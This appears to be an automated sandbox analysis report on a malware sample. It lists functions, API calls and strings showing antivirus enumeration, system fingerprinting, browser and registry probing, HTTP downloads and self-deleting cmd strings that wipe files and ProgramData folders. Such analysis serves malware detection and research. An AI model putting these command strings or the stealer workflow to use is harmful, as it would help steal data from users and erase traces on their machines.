InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

%xA, xrefs: 00405250, 00405457, 0040539E
GET, xrefs: 00405325

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: %xA$GET
API String ID: 442264750-965130897
Opcode ID: 5eda22c1180280ec60e0e9aba7d13d88b3c8b3d58bd0c30e96fc8400d549b59a
Instruction ID: 3956a683f80eaa871a06acf695807d3cf49717e7413e1f5c78720f785125ede4
Opcode Fuzzy Hash: 5eda22c1180280ec60e0e9aba7d13d88b3c8b3d58bd0c30e96fc8400d549b59a
Instruction Fuzzy Hash: D15119B1900A28AFDF21DF64DC84BEFBBB9EB08346F0050E6E509A2290D6755F858F54

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F30,?,AV: ,004368BC,Install Date: ,004368A8,00000000,Windows: ,00436898,Work Dir: In memory,00436880), ref: 004119AD
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

Unknown, xrefs: 00411A99
Unknown, xrefs: 00411AA0
root\SecurityCenter2, xrefs: 004119F0
WQL, xrefs: 00411A28
Unknown, xrefs: 00411AB4
Select * From AntiVirusProduct, xrefs: 00411A23
displayName, xrefs: 00411A6F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: c93ca1d2a6f897a9c4ae10426155f3377e266de60e586299c0be346b63fafe79
Instruction ID: cce6899aa7c627b92ffde1b41d91a0a32178603b6ed2f5158660ab44c27762d3
Opcode Fuzzy Hash: c93ca1d2a6f897a9c4ae10426155f3377e266de60e586299c0be346b63fafe79
Instruction Fuzzy Hash: E4314F70A40245BBCB20DB95DC49EEFBF7DEFC9B10F20461AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043A9E4), ref: 004012D0
lstrcatA.KERNEL32(?,0043A9E8), ref: 004012DE
lstrcatA.KERNEL32(?,0043A9EC), ref: 004012EC
lstrcatA.KERNEL32(?,0043A9F0), ref: 004012FA
lstrcatA.KERNEL32(?,0043A9F4), ref: 00401308
lstrcatA.KERNEL32(?,0043A9F8), ref: 00401316
lstrcatA.KERNEL32(?,0043A9FC), ref: 00401324
lstrcatA.KERNEL32(?,0043AA00), ref: 00401332
lstrcatA.KERNEL32(?,0043AA04), ref: 00401340
lstrcatA.KERNEL32(?,0043AA08), ref: 0040134E
lstrcatA.KERNEL32(?,0043AA0C), ref: 0040135C
lstrcatA.KERNEL32(?,0043AA10), ref: 0040136A
lstrcatA.KERNEL32(?,0043AA14), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocateComputerExitName
String ID:
API String ID: 2891980384-0
Opcode ID: 7c09a38ce43d697918557ffdd3582b74198df045ee5b993886cbba539546cb7b
Instruction ID: bb02b9b61323cbd202445dbb3cf167c11530b26af8ff3a40cca1d967d1d15d49
Opcode Fuzzy Hash: 7c09a38ce43d697918557ffdd3582b74198df045ee5b993886cbba539546cb7b
Instruction Fuzzy Hash: C14185B2E4422C66DB20DB719C59FDB7BAC9F14350F5005A3E8D8E3181D67CDA88CB98

Function 0041823A Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041825F
_memset.LIBCMT ref: 0041826E
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 00418283

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

ShellExecuteEx.SHELL32(?), ref: 0041841F
_memset.LIBCMT ref: 0041842E
_memset.LIBCMT ref: 00418440
ExitProcess.KERNEL32 ref: 00418450

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

" & exit, xrefs: 004183A3
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 00418359
/c timeout /t 10 & del /f /q ", xrefs: 004182AE
" & rd /s /q "C:\ProgramData\, xrefs: 004182FC
" & exit, xrefs: 00418352

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: 7b551fdd53861aa7b99f3137ecc587cd54ca6541074705811aa71ee93184293a
Instruction ID: 256a78b17c9948005ab358cac55532cee3df71b51ea82670ae7f250f6f357d14
Opcode Fuzzy Hash: 7b551fdd53861aa7b99f3137ecc587cd54ca6541074705811aa71ee93184293a
Instruction Fuzzy Hash: 9051ADB1D402299BCF21EF15CD41ADDB3BCAB44708F4110EAA718B7152DA786FC68F58

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E34), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436EC4,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Strings

QuBi, xrefs: 00410A27
:\, xrefs: 00410A06
C, xrefs: 004109DF
vA, xrefs: 00410B21

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C$QuBi$vA
API String ID: 1856320939-740167995
Opcode ID: 57fc16cf79857abcabd25f63ac927c3afb549af7b73d97481b79b6e1733cd2e7
Instruction ID: 3566b5b4d93052567d522c6fdc3d71b8ac85739c9aed76841ebb70e79ed6e19c
Opcode Fuzzy Hash: 57fc16cf79857abcabd25f63ac927c3afb549af7b73d97481b79b6e1733cd2e7
Instruction Fuzzy Hash: 2341A1B1A042289BCB249F749D85ADEBBB9EF19304F0000EAF109E3150E6758FD58F54

Function 0040EABC Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?), ref: 0040EAF9
StrCmpCA.SHLWAPI(?), ref: 0040EB56
StrCmpCA.SHLWAPI(?,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(?), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040ECE3
StrCmpCA.SHLWAPI(?), ref: 0040ED40

Strings

YxA, xrefs: 0040ECD0, 0040EAE6
firefox, xrefs: 0040EE17
Stable\, xrefs: 0040EB71
Stable\, xrefs: 0040ED5B

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$YxA$firefox
API String ID: 3722407311-1094127623
Opcode ID: 5638bd559bafc9974d2bea39a89f69e09fec74e87ae3bb074a22925992ba2f89
Instruction ID: 7b5a2934aedd5e45d524a5902c2414401f5f6fdffbf80b1274ea703f7d805636
Opcode Fuzzy Hash: 5638bd559bafc9974d2bea39a89f69e09fec74e87ae3bb074a22925992ba2f89
Instruction Fuzzy Hash: 52B1AF72D00109AFDF20FFA9DD47B8D77B2AF40318F550126F904B7291DA78AA588BD9

Function 00411203 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670B,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E84), ref: 004113DC

Strings

%s\%s, xrefs: 004112D7
?, xrefs: 00411263
- , xrefs: 004113E6

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 1736561257-3278919252
Opcode ID: 0e642b47d0107273f1a64af6442d8bb44133f3608e27ba63a7af9c1e2e3b1845
Instruction ID: 2908aff31a84832516e333fc715a0b61748632f0151a59db2ded1e8cda65474d
Opcode Fuzzy Hash: 0e642b47d0107273f1a64af6442d8bb44133f3608e27ba63a7af9c1e2e3b1845
Instruction Fuzzy Hash: 2C61E6B590022C9AEF21DB15DD84EDAB7B9AB44708F1042E6A608A2161DF35AFC9CF54

Function 0041688F Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 004168E3
lstrlenA.KERNEL32(?), ref: 004168EE

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,?), ref: 00416903
lstrlenA.KERNEL32(?), ref: 00416912
lstrlenA.KERNEL32(00000000), ref: 0041692B

Strings

ERROR, xrefs: 00416936
ERROR, xrefs: 00416947
ERROR, xrefs: 0041694E
ERROR, xrefs: 004168DD
ERROR, xrefs: 00416940

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: b9c50152d13d2ba3c1b7fe1a52b9098a898b693a399db4bb56ab49ed6e5fee82
Instruction ID: 9be3955ae02d8fa47908ba5e3f66db30d894a04ceac2f5e5034b80f355dae603
Opcode Fuzzy Hash: b9c50152d13d2ba3c1b7fe1a52b9098a898b693a399db4bb56ab49ed6e5fee82
Instruction Fuzzy Hash: DA21C471A00215ABCB20BB75DD469DD7BA5AF04314F11902BFD00F31A2DB7DD9858B99

Function 004067ED Relevance: 13.6, APIs: 9, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: dc47a354296b7790b1f954c5cb67418485f788004faa898ff43b7ff91dbd954b
Instruction ID: cbe824351fc4ccb66a21d1ceb878d1aedd75c8a2ce48e6de5e97826157353538
Opcode Fuzzy Hash: dc47a354296b7790b1f954c5cb67418485f788004faa898ff43b7ff91dbd954b
Instruction Fuzzy Hash: 62411DB1900128AFDF30DB21DD49BDA7BB9EF04315F1040B6FB09B21A1D6359E958FA8

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

